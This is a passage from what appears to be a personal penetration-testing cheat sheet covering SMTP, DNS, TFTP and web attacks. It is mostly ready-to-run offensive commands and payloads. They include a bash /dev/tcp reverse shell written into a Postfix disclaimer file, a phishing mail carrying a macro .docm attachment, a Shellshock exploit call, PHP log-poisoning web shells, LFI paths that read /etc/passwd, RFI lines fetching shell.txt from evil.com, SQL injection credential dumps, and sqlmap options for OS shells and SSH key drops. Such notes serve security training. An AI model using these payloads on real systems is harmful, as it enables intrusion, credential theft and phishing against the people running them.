smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
